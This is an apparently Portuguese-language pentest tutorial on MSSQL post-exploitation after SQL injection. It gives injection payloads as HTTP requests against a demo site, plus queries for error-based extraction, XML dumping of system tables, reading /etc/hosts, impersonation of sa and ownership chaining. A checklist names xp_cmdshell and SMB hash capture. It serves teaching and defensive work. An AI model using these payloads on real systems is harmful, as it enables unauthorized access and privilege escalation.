Alem do dumping


Você encontra um SQL Injection em um ambiente MSSQL.
O usuário da aplicação tem privilégios básicos, xp_cmdshell
retorna erro, e a tentação é concluir: “é só um caso de dumping de dados”.
É aqui que a maioria dos pentesters para - e é exatamente aqui que o verdadeiro trabalho começa.
O que poucos sabem é que o MSSQL esconde funcionalidades que permitem transformar um acesso aparentemente limitado em uma brecha crítica.
Enquanto você considera encerrar o teste, o banco de dados pode estar revelando conexões ativas para outros servidores, links de database configurados incorretamente e cadeias de propriedade que funcionam como escadas privilegiadas entre bancos de dados.
Neste artigo, vamos explorar como técnicas avançadas de impersonation, ownership chaining e abuso de SQL Links podem elevar um simples usuário de banco ao nível de sysadmin.
Descubra como identificar essas configurações perigosas e transformar um “acesso básico” em movimento lateral persistente dentro da rede corporativa.
GET /Make/2?orderby=supercarid+WAITFOR+DELAY+'00:00:04'-- HTTP/2
Host: hack-yourself-first.com
GET /Make/2?orderby=(select+CASE+WHEN+(1=2)+THEN+'supercarid'+ELSE+(SELECT+1+Union+select+2)+END)-- HTTP/2
Host: hack-yourself-first.com
GET /Make/2?orderby=(CONVERT(INT%2c@@version))-- HTTP/2
Host: hack-yourself-first.com
GET /Make/2?orderby=supercarid;WAITFOR+DELAY+'00:00:04'-- HTTP/2
Host: hack-yourself-first.com
O MSSQL constrói o password_hash
combinando três componentes principais:
0x0200
: Prefixo fixo que indica a versão do algoritmo (SHA2_512 desde 2012)salt
: Valor aleatório de 32 bits que garante unicidade- Hash real da combinação senha + salt
DECLARE @pwd NVARCHAR(MAX) = 'plaintext-password';
DECLARE @salt VARBINARY(4) = CRYPT_GEN_RANDOM(4);
DECLARE @hash VARBINARY(MAX);
SET @hash = 0x0200 + @salt + HASHBYTES('SHA2_512', CAST(@pwd AS VARBINARY(MAX)) + @salt);
Cada usuário de banco pertence à role public
por padrão. Quando não há permissões específicas concedidas ou negadas, o usuário herda as permissões da public
.
Aspas simples ('
) delimitam strings, enquanto aspas duplas ("
) delimitam identificadores de objetos. Isso explica porque DB_NAME('1')
funciona mas DB_NAME("1")
gera erro.
A query SELECT * FROM sysdatabases
funciona sem o schema sys
devido à compatibilidade com versões do SQL Server 2000 e anteriores.
Links entre servidores MSSQL permitem executar queries em bancos remotos, facilitando a movimentação lateral em redes corporativas.
CREATE LOGIN bruno WITH PASSWORD = 'Test@4567';
CREATE USER bruno FOR LOGIN bruno;
ALTER ROLE public ADD MEMBER bruno;
SELECT
grantee_principal.name AS WhoCanImpersonate,
grantee_principal.type_desc AS ImpersonatorType,
sp.name AS WhoCanTheyImpersonate,
sp.type_desc AS ImpersonateeLoginType
FROM sys.server_permissions AS prmssn
INNER JOIN sys.server_principals AS sp
ON sp.principal_id = prmssn.major_id AND prmssn.class = 101
INNER JOIN sys.server_principals AS grantee_principal
ON grantee_principal.principal_id = prmssn.grantee_principal_id
WHERE prmssn.state = 'G'
Resultado:
WhoCanImpersonate | ImpersonatorType | WhoCanTheyImpersonate | ImpersonateeLoginType |
---|---|---|---|
bruno | SQL_LOGIN | sa | SQL_LOGIN |
A impersonation pode criar riscos de segurança significativos quando usuários herdam permissões não intencionais através de role membership ou quando há acúmulo de privilégios (privilege creep) em mudanças de função.
- Master: Contém todos os objetos de sistema
- Model: Template para novos bancos de dados
- TempDB: Armazena objetos temporários
- MSDB: Dados do SQL Server Agent
- ResourceDB: Banco oculto com objetos de sistema

Fonte: https://www.mssqltips.com/sqlservertip/6874/sql-cast-function-for-data-type-conversions/
-- CAST (ANSI Standard)
SELECT CAST(@@version AS INT)
-- CONVERT (T-SQL Specific)
SELECT CONVERT(INT, @@version)
-- PARSE
SELECT PARSE(@@version AS INT)
-- JSON Output
SELECT name FROM master..syslogins FOR JSON AUTO
-- String Aggregation
SELECT STRING_AGG(name, ',') FROM sys.databases
-- XML Output para dump completo
(SELECT * FROM master..sysdatabases) FOR XML PATH('')
Técnica poderosa para extrair grandes volumes de dados em uma única query:
-- Extraindo todos os dados de sysdatabases
(SELECT * FROM master..sysdatabases) FOR XML PATH('')
Resultado:
<name>master</name><dbid>1</dbid><sid>AQ==</sid><mode>0</mode><status>65544</status><status2>...
O SQL Agent pode armazenar credenciais codificadas no LSA Secrets quando configurado com autenticação SQL Server, representando um vetor potencial para recuperação de senhas.
USE TestDatabase
CREATE PROC dbo.test_proc AS
SELECT * FROM master.dbo.sysxlogins
GO
EXEC test_proc
Este exemplo funciona devido ao ownership chaining quando o mesmo principal (como sa) é owner em ambos os bancos.
- Usuário atual pode virar sysadmin via trustworthy database?
- É possível extrair hashes de senhas?
- xp_cmdshell está habilitado ou pode ser reativado?
- SQL Agent procedures podem executar comandos?
- Captura de autenticação SMB via xp_dirtree?
- Leitura/escrita de arquivos via OLE Automation?
- Conexões com bancos remotos via openrowset?
- Listagem de arquivos com xp_dirtree/xp_subdirs?
- Verificação de existência de arquivos com xp_fileexist?
-- Todas as roles do database
SELECT name AS 'Role Name'
FROM sys.database_principals
WHERE type_desc = 'DATABASE_ROLE';
-- Membros das roles
SELECT
USER_NAME(drm.member_principal_id) AS 'Member Name',
USER_NAME(drm.role_principal_id) AS 'Role Name'
FROM sys.database_role_members drm
SELECT
name AS 'Database',
SUSER_SNAME() AS 'Current User',
SUSER_SNAME(owner_sid) AS 'Owner'
FROM sys.databases
SELECT CAST((SELECT x FROM OpenRowset(BULK '/etc/hosts',SINGLE_CLOB) R(x)) AS INT)
SELECT TOP 1 physical_name FROM sys.master_files
SELECT
session_id,
client_net_address,
auth_scheme,
encrypt_option
FROM sys.dm_exec_connections
Resultado:
session_id | client_net_address | auth_scheme | encrypt_option |
---|---|---|---|
51 | 127.0.0.1 | NTLM | FALSE |
53 | 181.0.0.0 | SQL | FALSE |
SELECT text FROM sys.dm_exec_requests
CROSS APPLY sys.dm_exec_sql_text(sql_handle)
- Autenticação: Validação contra sys.server_principals
- Autorização Server-Level: Verificação em sys.server_role_members
- Seleção de Database: Checagem em sys.databases
- Database User Mapping: Mapeamento via sys.database_principals
- Role Membership: Verificação de database roles
- Object-Level Permissions: Checagem em sys.database_permissions
- Ownership Chaining: Bypass de permissões quando owners coincidem
- Effective Permissions: Cálculo final via fn_my_permissions
- Execução da Query: Processamento final ou erro de permissão
SELECT
u.name AS [Name],
'Server[@Name=' + quotename(CAST(
serverproperty(N'Servername')
AS sysname),'''') + ']' + '/Database[@Name=' +
quotename(db_name(),'''') + ']' + '/User[@Name=' +
quotename(u.name,'''') + ']' AS [Urn],
u.create_date AS [CreateDate],
u.principal_id AS [ID],
CAST(CASE dp.state WHEN N'G' THEN 1 WHEN 'W' THEN 1 ELSE 0 END AS bit) AS [HasDBAccess]
FROM sys.database_principals AS u
LEFT OUTER JOIN sys.database_permissions AS dp
ON dp.grantee_principal_id = u.principal_id and dp.type = 'CO'
WHERE (u.type in ('U', 'S', 'G', 'C', 'K' ,'E', 'X'))
ORDER BY [Name] ASC
docker run -e "ACCEPT_EULA=Y" -e 'MSSQL_SA_PASSWORD=yourStrong(!)Password' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2019-latest
O MSSQL oferece um conjunto rico de funcionalidades que, quando mal compreendidas ou configuradas, podem transformar um simples ponto de SQL Injection em uma brecha crítica para comprometimento completo do ambiente. Desde técnicas de casting e conversão de dados até ownership chaining entre bancos e impersonation, o conhecimento dessas técnicas é essencial tanto para pentesters quanto para administradores de banco de dados que buscam proteger seus ambientes.
A capacidade de fazer dump completo de dados via XML, explorar cadeias de propriedade e abusar de funcionalidades como SQL Server Links demonstra que a superfície de ataque do MSSQL vai muito além das técnicas básicas de SQL Injection.